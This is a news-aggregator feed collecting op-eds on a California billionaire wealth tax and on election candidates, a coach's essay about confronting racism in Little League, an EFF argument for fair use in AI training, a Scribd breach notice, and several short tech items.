Several are chums of Jeffrey Epstein, including Palantir’s Peter Thiel . In the last 20 months, Thiel’s wealth increased a whopping 120.27 percent, from $14.8 billion to $32.6 billion. That puts his wealth at 11,319 times the median wealth of a Californian household, which is $303,000. To protect his gains, Thiel has given $3 million to the No on 40 campaign and has called on other billionaires to move out of California. (Thiel himself recently moved to Argentina .)

Venture capitalist John Doerr, an early investor in Google, Amazon, and DoorDash, gave $10 million to No On 40. In the last 20 months, Doerr’s wealth increased 47.97 percent, from $14.8 billion on January 1, 2025, to $21.9 billion on September 1, 2026. Doerr’s wealth is 7,227 times that of the median Californian.

Google’s Sergey Brin has been the single largest opposition donor, chipping in over $102 million to fight Prop 40. From the deck of his $450 million yacht, the Dragonfly , Brin has seen his personal wealth grow a whopping 70 percent in the last 20 months, from $148 billion to $253 billion. Brin’s wealth is a stratospheric 83,498 times the median wealth of a Californian household.

Not all the billionaires are cowering in the corner.

Billionaire Tom Steyer said he would vote for the billionaire wealth tax and wished it went further to reduce inequality. Jensen Huang, the cofounder and CEO of Nvidia, is worth an estimated $190 billion and supports the one-time wealth tax. He told CBS News that “it’s a privilege, it’s a responsibility” to pay taxes — and that “nothing would give me more joy” than to pay more.

California’s 231 billionaires held approximately $2.3 trillion as of Sept 22, 2026, and pay incredibly low taxes on their riches. According to economists Gabriel Zucman and Emmanuel Saez, from 2019 to 2025, while California billionaires’ wealth grew an average of over 15 percent per year, they paid on average just 0.26 percent of their wealth annually in state income taxes. Sergey Brin and his fellow Google co-founder Larry Page paid even less — just 0.07 percent of their wealth annually.

We can see why these billionaire snowflakes don’t want anything to change. Still, the one-time wealth tax would be just a small fraction of their gains in the last few years — and nevermind of their overall wealth, which will remain massive.

When you hear their baleful cries, echoing from the superyachts and private jets, you want to take their hands and reassure them: “It’s all going to be OK. You’ll have 95 percent of your billions and tens of thousands of your neighbors will have health care. You will get over this one quickly.”

Californians will decide their fate in November: a vote for oligarchy or a first step toward rebalancing our democracy? And Americans elsewhere will be watching.

Chuck Collins directs the Program on Inequality at the Institute for Policy Studies and co-edits its Inequality.org website. He’s a coauthor of the report California’s Billionaire Wealth Surge and author of the book Burned By Billionaires: How Concentrated Wealth and Power are Ruining Our Lives and Planet . This op-ed was distributed by OtherWords.org.

OtherWords is a free editorial service published by the Institute for Policy Studies. Each week, we publish a package of op-eds and columns, plus an original cartoon, and distribute them to readers, editors, and publishers through our website and newsletter. Each year, hundreds of newspapers and websites reaching millions of readers use this work.

The Greatest Little League Season of All Time

Portside
portside.org
2026-10-30 20:21:11
The Greatest Little League Season of All Time barry Fri, 10/30/2026 - 20:21 ...
Original Article

During my 20 years teaching, I’ve spent a lot of time thinking about how young people learn the courage to confront racism. Last year, one of the deepest lessons I’ve witnessed about anti-racist education didn’t happen in a classroom. It happened on a Little League field.

I was coaching a team of 11- and 12-year-olds called the Seattle Steelheads, named after Seattle’s 1946 Negro League team. After our last game, I was convinced I had lived through the greatest Little League season of all time — not because of the incredible victories on the field, but because of the way these youth transformed an act of racism into a lesson in solidarity, courage, and the difficult work of building what Dr. Martin Luther King Jr. called the beloved community.

Our team played in the Rainier District Little League in Seattle’s South End, a community long home to Black, immigrant, and working-class families. Like much of Seattle, the neighborhood has changed dramatically over the past two decades. Rising housing costs and displacement have reshaped who can afford to stay. Fifteen years ago, Rainier District Little League was majority kids of color. Today it is noticeably whiter and wealthier than it once was. In many ways, our Little League reflects the city around it: changing demographics, gentrifying neighborhoods, and enduring questions about who belongs.

Soon, that larger question of belonging became a very practical one for our team. We started with 12 players. Then a 13th asked to join. He had never played organized baseball before. His family had emigrated from Senegal and because his mother worked during our practice time, the only way he could get there was by riding with a teammate. Some coaches hesitate to add a 13th player because it means fewer at-bats for the strongest hitters at the top of the lineup. But I have always believed that youth sports are not primarily about maximizing victories. They are about opening doors. So, I said yes.

None of us knew that decision would shape everything that followed.

PRIME Time

At our first practice, I gathered the team in the outfield and asked a simple question.

“Does anyone know why we’re called the Steelheads?”

“The Joy Stealer,” one of our Black pitchers who already knew some baseball history, raised his hand.

“Because there used to be a Negro League team in Seattle.”

I smiled.

“Exactly.”

Then I asked another question.

“Does anyone know what the Negro Leagues were?”

“The Joy Engine,” one of our white players, said he had seen the movie 42 and knew Black players had created their own league because they weren’t allowed to play in Major League Baseball. “The Diamond Dasher,” whose family is Jewish, talked about Jackie Robinson’s courage and how wrong it was that white players had hurled racist insults at him simply for taking the field. “The Sledgehammer,” one of our hardest hitters, nodded and added quietly, “I’m proud he never gave up.”

Their answers gave us an opening to talk not only about the history of baseball, but about the kind of team we wanted to become. I introduced an acronym I hoped would guide our season:

P.R.I.M.E.

P stands for Pick Each Other Up: No blaming. No shaming. We help each other recover from mistakes.

R stands for Run Everywhere: Hustle isn’t punishment; it’s respect — for the game and for your teammates.

I stands for Intensity: Bring your full attention and effort, whether you’re at the plate, at a practice, or cheering from the dugout.

M stands for Make Mistakes: Baseball is a game built on failure. The best major league players get out seven out of ten times. Even Hall of Famers strike out. The goal isn’t perfection; it’s learning.

And E stands for Enjoy the Game: Joy isn’t something you earn after the final out, it’s what creates the confidence to make mistakes, the resilience to bounce back, and the freedom to become the player — and person — you are capable of becoming.

Our official assistant coach was Matt. His calm presence and knack for seeing what each player could contribute eventually earned him the nickname “Matt the Strat(egist).” Jenny, Justin, and Josh coached alongside us, and all of us had kids on the team. Together, we tried to make PRIME not just words, but the culture of the team.

Building that culture sometimes came at the expense of wins. We were willing to live with that. If you looked at the regular season standings, you may have come under the impression that we weren’t a great team. We finished the regular season with a record of 4 wins, 7 losses, and 2 ties. Two of our players had never played organized baseball before. Several others were only in their second season. We gave everyone equal playing time because we believed development mattered more than victories.

Looking back, those losses became some of our greatest teachers. We had countless opportunities to practice the M in PRIME. Our lockdown center fielder, who would become known as “No Fly Zone,” misjudged a fly ball late in one game that eventually cost us a victory. Nobody blamed him. His teammates surrounded him with encouragement because we had already decided mistakes were part of learning.

Our youngest player, “Ironheart E,” finally lined his first clean hit into the outfield after weeks of struggling. The dugout exploded as though he’d hit a home run in the World Series. “The Ghost Runner” quietly became one of our smartest baserunners, manufacturing runs with his speed. Alongside those players finding their way, a few more experienced kids helped anchor us. “Young Switcha,” my son, had been pitching with both arms since he was 2 and had grown into an effective switch-pitcher. JR, — Matt’s son who would accumulate a string of nicknames including “Mr. Dependable,” “The Base Dancer,” and “The Rattler” — made the routine plays look effortless and made the amazing plays routine.

Every practice and every game became another chance to rehearse the habits we hoped would define us. Looking back, I realize we weren’t just teaching baseball. We were building the habits of a community — habits that would soon be tested in ways none of us could have imagined.

Jackie

Our 13th player, though, was struggling. The boy who would later earn the nickname “Jackie” struck out almost every time he came to the plate. One afternoon, after another difficult game, he walked up to me and asked, “Coach . . . would you come to practice early and work with me?”

I was excited that he wanted to put in extra work, so we began meeting up 45 minutes before practice. Tee work. Soft toss. Bunting. Slowly, he began making solid contact and got a hit in practice. It felt like his breakthrough was coming.

In a late-season game, Jackie finally barreled up a baseball. His line drive screamed toward left-center until one of the league’s best shortstops leapt and stole what would have been his first hit. The crowd erupted in cheers anyway. Parents and teammates recognized what the box score couldn’t: Jackie had turned a corner.

His next time up, with the game hanging in the balance, he laid down a textbook sacrifice bunt. The runner moved to third and scored on the very next at-bat to tie the game. After weeks of arriving early to practice, he delivered exactly what his team needed and saved the game for us.

Yet I noticed that while everyone was celebrating, Jackie looked upset. In the postgame huddle, in front of all the parents and teammates, I gave him the game ball as a memorial to his breakthrough game. But he wouldn’t look me in the eye. After the huddle, I pulled him aside and asked what was wrong. He looked up and said quietly, “Coach . . . a player on the other team called me the N-word.” My eyes filled before I could stop them. I was back in kindergarten, hearing that word from a white person for the first time, telling an adult — and learning, when they did nothing, what it meant not to be protected.

Some memories don’t fade. They wait to ambush you.

I felt devastated that after all his work, the lesson was that he could put in all the effort in the world, but it would never be enough to secure his humanity. If I had known, I would have stopped the game. We would have dealt with it right then or canceled the game altogether. Instead, I went home and wrote to the league demanding clear protocols for racist incidents and mandatory training for coaches on race, institutional racism, and anti-racist practices.

This wasn’t new. Black parents had told me stories over the years about their children not being believed. I had recently been passed over for coaching the all-star team despite being the head coach that took the previous year’s team deeper than they had gone in a decade — not because anyone intended harm, but because few understood what those decisions mean in a sport that stubbornly refuses to hire Black coaches.

Taken together, these moments revealed a harder truth: racism in youth sports is rarely limited to one slur or one child. More often, it lives in the quieter habits of disbelief, exclusion, and silence.

Playoff Magic

Then the season presented us with a question no practice could prepare us for: Our first playoff game was against the very team whose player had called Jackie the N-word.

The league was still investigating the incident, but before the game, I told the other team’s coach I would only feel comfortable playing if he first spoke with his team about the history of the Seattle Steelheads Negro League team, why our players proudly wore that name, and how the racism those players endured made it all the more important that every child on the field today be treated with dignity and respect. To his credit, he took the conversation seriously and treated it as a teachable moment with his players.

It was the kind of response I had hoped for. But it couldn’t erase what had already happened, and once the first pitch was thrown, the emotions of the previous week came rushing back. We quickly fell behind 3–0 and I remember standing in the coaching box thinking. This is how my last Little League season with my son ends? Losing to the team that harmed one of our players and Jackie carrying that weight?

But the kids refused that ending. Our team rallied and in the final inning, “The King of Swing” hit a walk-off double that felt like a giant burden lifted. Jackie’s mom came onto the field after the game with a giant smile and hug for me. “My son needed this,” she told me. “He needed a better lesson than what happened to him.”

The championship game followed a similar improbable script. We fell behind 3–0. Then, one inning at a time, we fought our way back. We carried a one-run lead into the final inning. Their tying run stood on third. Two outs.

The batter connected.

The crack of the bat echoed across the field, and the ball climbed high toward deep center. Our side fell silent. Their side erupted. For a split second, I was certain it was dropping.

No Fly Zone took a few calm steps to his left, settled underneath it, and squeezed it into his glove. The same player whose dropped fly ball had cost us a game during the regular season had just secured the championship.

Then pandemonium. Hats flew in the air. Kids poured out of the dugout. Parents screamed. Someone dumped a cooler of ice water over my head. I was soaked, laughing, crying, and hugging anyone within reach.

We were champions. Had the story ended there, it would have been one of the sweetest moments of my life. But the most important chapter of our season was yet to be written.

If we expect children to build a more just community, we have to be willing to change our institutions alongside them.

Becoming a Beloved Team

Winning the Rainier District championship qualified us for the Tournament of Champions, where the best Little League teams from across South Seattle compete to determine the city’s south-end champion — the farthest a regular season Little League team can go.

Before our first practice, I asked Jackie and his mom if I could share with the team what had happened. They both said yes. It was important to them for everyone to know.

I gathered the Steelheads in a circle in the outfield and told them that Jackie had been called the N-word by an opposing player. The circle went quiet.

Then something remarkable happened. Two players — one Black and one white — admitted that when Jackie first told them what had happened, they didn’t believe him. Standing in front of their teammates, they apologized. Another player said he had noticed more kids using racist slurs lately and wondered if it had something to do with the way politicians had been talking about race.

Then my son looked directly at Jackie and said, “We’ve got your back.” One by one, every player spoke. They talked about fairness, friendship, and what kind of team they wanted to be. By the time the circle ended, something had shifted.

The P in PRIME — Pick Each Other Up — had taken on a whole new meaning. It was no longer about encouraging a teammate after a strikeout or an error. It meant believing someone when they told you they’d been harmed. It meant taking responsibility when you got something wrong. It meant refusing to let a teammate carry pain by himself.

As I listened, I realized I wasn’t simply coaching baseball anymore. I was watching 12-year-olds teach one another about beloved community. But I also wanted them to know something just as important: Building that community wasn’t their responsibility alone.

I told the team that my wife Sarah — our scorekeeper and the organizational force behind so much of what our team accomplished, nicknamed “Vision and Execution” — had already reached out to the Center for Healing and Justice in Sports to help our league provide training for coaches and players around race, belonging, and creating inclusive teams.

I wanted the players to understand that while they were showing tremendous courage by standing with Jackie, the adults had responsibilities too. If we expect children to build a more just community, we have to be willing to change our institutions alongside them. Only then did we pick up our gloves and begin preparing for the biggest baseball tournament of their young lives.

In the Tournament of Champions opener, we made our signature move of falling behind 3-0. I thought, we aren’t going to overcome a three-run deficit for the third game in a row . But again, we rallied.

Then came the moment no one could script. Bottom of the final inning, game tied, Jackie at the plate. He hadn’t recorded a hit all season. A fastball left the pitcher’s hand and he crushed the deepest ball any of our players hit all year — a shot over the outfielder’s head that made it to the fence to score the winning run. A boy who had been told, in the ugliest way, that he didn’t belong rose with courage, refused to be diminished, and drew an entire team to rise beside him.

The next game brought another unlikely hero. Our primary pitchers were unavailable because they had reached their Little League pitch-count limits, so we turned to a player who had struggled on the mound during the regular season. He responded with a magnificent outing, throwing a complete-game shutout and striking out 13 batters. By the final out, he had earned a new nickname: Zeros. For the first time in the playoffs, we didn’t have to claw our way back from a 3-0 deficit. My blood pressure certainly benefited.

Then came the final game.


The Rainier District Little League Steelheads celebrate after winning the Tournament of Champions in Seattle on June 16, 2025.

The Championship

Before the championship game began, something happened that hadn’t happened at any of our games all season: The national anthem began to play over the loudspeakers at Rainier Playfield.  I don’t stand for the anthem, but this time I hesitated before taking a knee. I worried that parents might think I was trying to impose my politics on their children.

I thought of my friend Michael Bennett, the Seattle Seahawks Super Bowl champion who had supported our launching of the Black Lives Matter at School movement. I remembered our conversations before he decided to join Colin Kaepernick’s protest in the NFL. He knew what was coming: the hate mail, the death threats, the accusations that he was unpatriotic. He knelt anyway because he believed some things mattered more than comfort.

Then I thought about my own Garfield High School students who had done the same. Jalani Howard from the football team and Janelle Gary from the softball team had faced boos, threats, and ridicule after kneeling during the anthem. They had become my teachers.

I took a knee.

Almost immediately, No Fly Zone who was standing by my side, looked over at me.

“Coach . . . what are you doing?”

I explained that Colin Kaepernick and Michael Bennett had knelt to protest racism and affirm that Black lives matter.

“I remember that,” he said. “And I just learned there’s another verse of the national anthem they don’t usually sing because it supports slavery.”

“You’re right,” I replied.

Without another word, he dropped to one knee beside me.

Then another player knelt. Then another. Like a ripple spreading across still water, the entire Steelheads team lowered to one knee together.

At that moment, I felt we had already won. Whatever the scoreboard would eventually say, this team had learned the lesson I had hoped baseball would teach them all season: True champions are defined not only by the games they win, but by the people they choose to become.

Then I looked across the field. The Highline Phillies had rolled into the championship game with a 22-2 record. Their pitcher was warming up, firing rockets. From our dugout, he looked almost as tall as I was. I briefly wondered whether my newfound peace with whatever happened next was genuine wisdom — or simply a coping mechanism for the drubbing I was sure was about to end our magical postseason run.

The game quickly became another test of our resilience. We jumped in front when Young Switcha lashed a triple into the left-field corner and the King of Swing grounded out to bring him home. But the Phillies answered, and before long the score was tied.

Our pitcher, the Joy Stealer, blanked the Phillies for more than four innings, carrying us through the regulation six innings and into extras. In the top of the seventh — the first extra inning in Little League — they scratched across an unearned run to take a 4-3 lead, but our dugout stayed calm. This was PRIME in action — intense, focused, and confident.

Leading off the bottom of the seventh, “the Barehanded Bandit” jogged over from the batter’s box.

“Coach . . . should I do it?”

“Go for it.”

His eyes filled with tears as he asked, “What if I can’t?”

“Then you’ll be living our motto,” I said. “Make mistakes. You’re 12 years old. The sun is shining. Enjoy this game.”

He smiled, squared to bunt, and deadened the ball perfectly up the first-base line. The rushed throw sailed wide of first. Without breaking stride, he raced all the way to third for an astonishing bunt triple — his second in as many games. Moments later, he sprinted home on a ball in the dirt to tie the game and keep our season alive.

One inning later, with Jackie standing on second, the Base Dancer ripped a line drive into the gap.

Jackie rounded third.

The kid who had never played baseball before this season.

The kid who had been called the N-word and refused to shrink.

The kid who had earned this moment.

He slid safely across home plate and the field erupted.

Water flew. Parents screamed. Coaches embraced. Kids collapsed into one another’s arms. I raced to home plate, scooped Jackie into the air, and spun him around as we laughed and cried together.

Steelheads 5. Highline Phillies 4.

We weren’t just champions of our league. We were living proof that when young people are taught to choose courage over fear, solidarity over silence, and joy over despair, they become champions in ways that matter long after the final score is forgotten.

More Than the Score

By the time the season ended, the most important thing the Steelheads had changed wasn’t their place in the standings. It was what would happen the next time a child was harmed. Children who have never met the Steelheads, who do not know Jackie’s story and may never know our names, will one day step onto these same fields. And when they do, the adults around them will be better prepared to recognize racism, to confront it, and to protect a child’s dignity when it is threatened. They will inherit something this team fought to create.

For one remarkable season, the baseball diamond became a classroom where children practiced courage, solidarity, and belonging. The lesson was not that racism can be defeated in an afternoon, or that we could make injustice disappear. The harder lesson was this: When someone is harmed, we have a choice. We can look away. Or we can believe one another. We can tell the truth about what happened. And then we can change the conditions that allowed it to happen in the first place.

Few teams win championships. Fewer championship teams leave the game better than they found it.

That’s what made this the greatest Little League season of all time.

Rewriting Copyright Law for Generative AI Would Hurt Everyone

Electronic Frontier Foundation
www.eff.org
2026-10-30 19:42:45
In courts across the country, publishers and creators are suing large AI companies for training generative AI models on copyrighted works. It’s easy to see these cases as a David-and-Goliath showdown between authors and publishers fighting for a cut of Big Tech company profits. But this fight is act...
Original Article

In courts across the country, publishers and creators are suing large AI companies for training generative AI models on copyrighted works. It’s easy to see these cases as a David-and-Goliath showdown between authors and publishers fighting for a cut of Big Tech company profits. But this fight is actually much larger. It affects billions of people who aren’t represented in the case at all, including researchers, artists, activists, journalists, people with disabilities, and anyone who accesses and shares content online.

That’s why EFF is stepping in to defend the public’s rights in these cases. Today, EFF filed an amicus brief in In re OpenAI, explaining how the court’s ruling on fair use could impact people worldwide. If fair use gets narrowed, it will impede work that benefits the public, like medical research and investigative journalism, and even limit access to privacy protection tools.

Let’s be clear: creators and workers deserve support as AI changes their fields, and Big Tech companies must be held accountable for the harms they cause. But giving copyright holders more control over the web won’t accomplish either of these goals. If the plaintiffs prevail in these cases, courts would have to rewrite copyright law in ways that hurt everyone except powerful media and tech companies.

Rewriting Fair Use Makes Everyone Worse Off

Copyright exists for one reason: to stimulate creativity and innovation in service of the greater public good. Unfortunately, the plaintiffs in this lawsuit are arguing to limit everyone’s fair use rights, in ways that would thwart the basic purpose of copyright. The harms of shrinking fair use will go far beyond generative AI, impacting everyone.

Initial speculation that AI models would be infringement machines, churning out works highly similar to those on which they were trained, has proven unfounded . And courts have already found fair use in cases where copyrighted works were used to train generative AI models, recognizing that training uses those works for a fundamentally different purpose .

Plaintiffs in these cases argue that, even if the use is transformative, using their works to train AI is still unfair, because the AI models could generate new, non-infringing works that might compete with plaintiffs’ own works. They also argue that scraping or downloading the data without permission—or in some cases, from websites containing infringing copies—was independently infringing and/or rendered any subsequent uses of that data unfair.

These arguments would put beneficial research and reporting at risk. First, if copying without permission rules out fair use, the law will never protect transformative uses that benefit us all. Researchers, journalists, and other watchdog groups gather information the same way AI companies do—but they do it to serve the public interest, and often to hold Big Tech itself accountable. For example, journalists and nonprofit researchers have used “crawling” or “scraping” to investigate potentially anticompetitive practices by tech companies , and research misinformation and hateful content posted on X . Their data acquisition techniques are virtually identical to those used by AI giants—but they lack those companies’ deep pockets.

Requiring users to show that copyrighted material was lawfully obtained would also threaten everyday internet use. As EFF’s brief explained, that requirement would “cast legal doubt on the billions of copies we collectively make every day through routine online activities like opening emails, clicking on an embedded link, visiting websites, sharing pictures, streaming music, and watching videos. All of this activity requires intermediate copying.”

Fair use is what lets us all use the internet without being compelled to track the source of every image, video, and article that we click on, and make sure the rights are all cleared.

Additionally, while rightsholders are understandably concerned about competition from AI generated works, copyright law exists to promote new creation , not protect authors who published first. Under the plaintiffs’ theory, no one could stand upon the shoulders of giants. Copyright could prevent people from writing new books inspired by themes in a favorite novel or genre, or prevent academic researchers from publishing literature reviews that distill insights from prior research—simply because readers might prefer those new publications over those that came first.

Finally, general-purpose AI models are neither designed nor usually used to create works targeted at any particular market. These models have been used to generate new insights and tools for medicine, science, journalism, art, and accessibility. For instance, an AI-powered tool called Be My AI uses Open AI’s GPT models to provide visual descriptions for people who are blind or have low vision. Generative tools have also accelerated scientific research , and researchers have used these tools to develop new medical treatments and medications for conditions previously thought to be incurable.

Mandatory Licensing Would Entrench Big Tech

Some creators and publishers argue that AI developers should just get a license. But requiring permission for every work used would give the largest companies massive advantages over small competitors and impede academic research. As Professor Lawrence Lessig recently noted:

If all training requires a license, then none but a handful of tech giants will be able to afford the costs of training. That’s not because authors are greedy but because the copyright system is the least efficient property system known to man.

Moreover, creators are unlikely to benefit from these licensing arrangements in many cases. Media and entertainment giants have exploited the imbalance between themselves and underpaid working artists for decades. Trying to help creators by giving them more rights under copyright is, as Cory Doctorow has written, like trying to help a bullied kid by giving them more lunch money for the bully to take. Artists aren’t getting good deals from record labels or publishers now; there’s no reason to think these companies, which already own the copyrights, will treat artists more fairly once they control the data that powers AI.

The Future of AI Is Too Important to Leave to Big Content or Big Tech

AI technologies will affect all of us, and copyright law is ill-equipped to address many of these consequences. The rules governing these technologies should be rules that serve the public—not just the small number of companies that can afford to litigate copyright battles for decades, or settle for billions.

Sponsorship Openings for Daring Fireball (Including The Talk Show)

Daring Fireball
daringfireball.net
2026-10-30 18:30:54
Sponsorships have continued selling briskly, of late. Knock on wood. As of yesterday, the next opening on the schedule wasn’t until the last week of December, and the Q1 2027 schedule is already filling up. However, due to some schedule rejiggering, next week is now open. If you’ve got a product or...
Original Article
Schedule:
Oct 26 – Nov 1 Sold
Nov 2 – Nov 8 Available: $11,000
Nov 9 – Nov 15 Sold
Nov 16 – Nov 22 Sold
Nov 23 – Nov 29 Sold
Nov 30 – Dec 6 Sold
Dec 7 – Dec 13 Sold
Dec 14 – Dec 20 Sold
Dec 21 – Dec 27 Available: $11,000
Dec 28 – Jan 3 Sold
Jan 4 – Jan 10 Sold
Jan 11 – Jan 17 Sold
Jan 18 – Jan 24 Available
Jan 25 – Jan 31 Sold
Feb 1 – Feb 7 Available
Feb 8 – Feb 14 Sold
Feb 15 – Feb 21 Available
Feb 22 – Feb 28 Sold
Mar 1 – Mar 7 Available
Mar 8 – Mar 14 Sold
Mar 15 – Mar 21 Available
Mar 22 – Mar 28 Sold
Mar 29 – Apr 4 Available
Apr 5 – Apr 11 Sold
Apr 12 – Apr 18 Sold
Apr 19 – Apr 25 Sold
Apr 26 – May 2 Available

2027 Price: $12,500

To schedule a sponsorship or for additional information, email John Gruber .


Week-long sponsorships are available for Daring Fireball. This is the only way to promote your product or service specifically to Daring Fireball’s audience of Mac nerds, designers, nitpickers, perfectionists, and connoisseurs of fine sarcasm.

What sponsors get:

  • A display ad in the sidebar on every page of the site, all week long.

  • A post from the sponsor will appear in the RSS feed at the start of the week. You, the sponsor, get to address Daring Fireball’s most dedicated readers directly.

  • At the end of the week, I’ll also post an item thanking and linking to the feed sponsor.

  • Sponsorship is exclusive. Only one sponsor per week.

  • An archive of all previous DF RSS feed sponsors is available.

About Daring Fireball’s audience:

  • Typical weekday unique visitors: 150,000.

  • Estimated monthly unique visitors: 2.5 million.

  • Estimated Daring Fireball RSS feed subscribers: Over 200,000.

Tell HN: Scribd Breached

Hacker News
news.ycombinator.com
2026-10-30 22:46:36
Comments...
Original Article

Not seeing anything posted about this anywhere, received on Monday, 26th of Oct 2026:

Subject: Notice of Security Incident

This notice is being sent on behalf of Scribd, Inc., the parent company of Scribd, Slideshare, Everand, and Fable, by Epiq, Scribd Inc.’s notification partner.

Hello,

We are writing to let you know that Scribd, Inc. recently experienced a security incident that may have affected your data.

We detected that an unauthorized third party may have gained access to certain user data in one of our systems. After investigating this activity, we found that the third party may have accessed your email address and the following of your information: last 4 digits of your credit card and country, credit card issuer, credit card expiry date, payment history (not including credit card details).

We have no evidence that this data has been misused, but we are notifying you out of an abundance of caution so that you can take steps to protect your information.

Watch for phishing

We encourage you to stay vigilant for phishing attempts by bad actors pretending to be Scribd, Inc. or Scribd, Slideshare, Everand or Fable.

Remember that Scribd, Inc. will never ask you for your username and password or other sensitive information via email or text. If you did receive a message like that:

    Don't click on any links in it. Instead type scribd.com, slideshare.net, everand.com, or fable.co directly into your browser.
    Call us at: +1-877-361-9887. Hours of operation are Monday-Friday, 11:00 a.m.-11:00 p.m., Central European Time.
    Report it through Scribd, Inc.'s Help Center.

For more information

We regret that this incident occurred and any concern it may cause you. If you have additional questions, contact the dedicated call center at +1-877-361-9887. Hours of operation are Monday-Friday, 11:00 a.m.-11:00 p.m. Central European Time.

The National Cyber Security Center has helpful guidance on how to recognize and avoid phishing scams here.

What Scribd, Inc. is doing

    We have secured the affected system and ended the unauthorized access.
    We have notified law enforcement as well as the relevant data protection authorities.
    We are working with an expert third party cybersecurity firm to strengthen our access controls and monitoring.

We value the trust you place in us with your information, and don’t take that lightly. We are deeply sorry this happened and will keep you updated if anything further changes.

Scribd, Inc.

Flock camera searches fell 95% after a dispatcher's misconduct was caught

Hacker News
www.wkyc.com
2026-10-30 22:42:02
Comments...
Original Article
You don't have permission to access "http://www.wkyc.com/article/news/investigations/flock-camera-searches-fall-95-percent-highland-heights-dispatcher-misconduct-caught/95-94b18f33-60e2-4bc7-a00f-d71d1e1fdd5e" on this server.

Reference #18.8802c417.1793419343.79ca262

https://errors.edgesuite.net/18.8802c417.1793419343.79ca262

In a Country That Needs Heroes, a Few Election Standouts

Portside
portside.org
2026-10-30 20:18:00
In a Country That Needs Heroes, a Few Election Standouts barry Fri, 10/30/2026 - 20:18 ...
Original Article
In a Country That Needs Heroes, a Few Election Standouts Published

San Francisco (Dispatch to Informed Comment) – In a play by Bertolt Brecht, the persecuted astronomer Galileo says: “Unhappy the land that needs heroes.”

Right now, the United States is unhappy enough to need a lot of heroes – and during this election year, many have emerged. Here are five of the notable ones.

** Abdul El-Sayed

No other major candidate this year has been the target of so many shameless and racist smears as Abdul El-Sayed, a 41-year-old Muslim American who is one of the most articulate and persuasive campaigners to arise since Zohran Mamdani. The former health official in Michigan is in a toss-up race for the U.S. Senate against former Rep. Mike Rogers, who is a nonstop fountain of MAGA talking points and deceptive campaign messaging – reinforced by President Trump – that tries to cast El-Sayed as a terrorist “jihadist.”

Countering this barrage is a grassroots campaign that El-Sayed started to build during the Democratic primary, which he won by overcoming a nearly 10-1 funding deficit, including more than $30 million spent against him by AIPAC. Whether explaining Medicare for All (which he literally wrote the book on) or the genocide in Gaza or the affordability crisis at home, El-Sayed conveys a strong progressive agenda with clarity, depth and wit. While Republican donors and AIPAC are dumping vast amounts of money into propping up Rogers and attacking El-Sayed, some corporate or Israel-aligned Democrats evidently wouldn’t mind if El-Sayed loses .

** Angie Nixon

A longtime community activist, labor organizer and fighter for human rights, 42-year-old Angie Nixon is now fighting for a seat in the U.S. Senate from Florida. In November 2023, as a member of the Florida legislature, Nixon sponsored a Gaza ceasefire resolution that went down to defeat, 104-2. Absurdly vilified as “antisemitic,” she stood firm, insisting that caring “about thousands of innocent lives lost makes nobody antisemitic.” Prophetically, Nixon said: “Continued attacks will only lead to more suffering and more death.”

In 2024, Nixon opened a remarkable bookstore/coffeehouse as a community hub in Jacksonville’s African-American community, offering books banned by Florida school districts thanks to Gov. Ron DeSantis and the state legislature. Five months ago, Nixon was arrested for civil disobedience while trying to meet with DeSantis over the state’s new gerrymandered congressional maps.

Aligned with the Working Families Party and Democratic Socialists of America, Nixon was a longshot in the Democratic Senate primary against the establishment favorite. Vastly outspent, she outorganized the opposition and stunned the power structure two months ago to become the Democratic nominee. If she were to win another upset victory on Nov. 3 in a state that Trump carried by 13 points in 2024, she’d be a force to reckon with on Capitol Hill.

** Melat Kiros

In early summer, when Melat Kiros defeated a 15-term incumbent Democratic congresswoman in Denver’s deep-blue district, the win by the democratic socialist sent political shockwaves nationwide. Her victory crushed the myth that a socialist electoral insurgency could only succeed in the Northeast.

Show HN: To Honor Sir Patrick Stewart, Enjoy the TNG Episode Guessing Game

Hacker News
tng.episodle.com
2026-10-30 19:51:24
Comments...
Original Article

Game:

Guesses Remaining:

Fair Use Benefits Everyone

Hacker News
openai.com
2026-10-30 19:33:55
Comments...

Anthropic to receive high 'junk' rating from credit agencies following IPO

Hacker News
techcrunch.com
2026-10-30 19:08:12
Comments...
Original Article

In Brief

Posted:

EVIAN-LES-BAINS, FRANCE - JUNE 17: CEO of Anthropic Dario Amodei attends a working lunch with G7 leaders, G7 outreach partners, and global tech CEOs on innovation and AI, during the G7 Summit on June 17, 2026 in Evian-les-Bains, France. Leaders from the Group of 7 (G7) countries convened in Evian, France, near the Swiss border, for their annual summit to discuss challenges to peace and security for Ukraine and Europe, the situation in the Middle East, and other geopolitical issues. (Photo by Anna Moneymaker/Getty Images)
Image Credits: Anna Moneymaker / Getty Images

Anthropic is expected to receive a high “junk” rating from credit rating agencies following its initial public offering, according to a report from the Financial Times.

The FT says the investment giant Blackstone, the anchor investor in a recent $63 billion deal to finance Anthropic’s chips, told investors in the deal that it expects the AI lab to receive a “high” junk rating after its IPO. Previously, the FT notes, Blackstone had said the opposite: that the Claude maker would receive an investment-grade rating (indicating low risk for lenders) before 2027 rolls around.

Now Blackstone expects double B range rating, the top tier of speculative “junk” grade, according to the reporting.

TechCrunch reached out to Anthropic and Blackstone but both declined to comment.

Blackstone’s forecast is just a prediction, but naturally, a high junk rating would make it more difficult and costlier for Anthropic to raise the money to keep funding its massive spending that has undergirded its business. The lab has been on a spending spree, racking up large compute power deals throughout the past 12 months, which has worried investors .

Anthropic officially filed to go public earlier this week, kicking off a wave of speculation about how the massive IPO would impact the broader AI industry .

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The top ten reasons embedded projects get into trouble (2002)

Lobsters
www.ganssle.com
2026-10-30 18:35:08
Comments...
Original Article

By Jack Ganssle

Published May, 2002 in Embedded Systems Programming.

What are the top ten ways to protect congressional pages?
10. If our representatives are so enamored of 700 mile fences, well, build one around Congress.

Whoops. Wrong publication.

If David Letterman can have a Top Ten list, so can I. But instead of ragging on Mel Gibson or making fun of any of a vast number of Congressional scandals, I'll hit embedded systems. What are, in my opinion, the top ten reasons embedded projects get into trouble?

10 - Not Enough Resources

Firmware is the most expensive thing in the universe.

